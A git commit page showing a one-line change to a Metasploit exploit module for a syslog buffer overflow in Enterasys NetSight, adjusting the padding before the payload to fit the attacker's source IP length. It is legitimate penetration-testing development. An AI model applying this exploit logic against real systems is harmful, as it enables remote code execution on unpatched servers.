Merge branch 'enterasys_netsight_syslog_bof' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-enterasys_netsight_syslog_bof
commit
b061a0f9c1
|
@ -147,7 +147,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
prio << ">"
|
||||
|
||||
message = prio
|
||||
message << rand_text_alpha(11)
|
||||
message << rand_text_alpha(9 + (15 - Rex::Socket.source_address(datastore['RHOST']).length)) # Allow to handle the variable offset due to the source ip length
|
||||
message << get_payload
|
||||
|
||||
print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
|
||||
|
|
Loading…
Reference in New Issue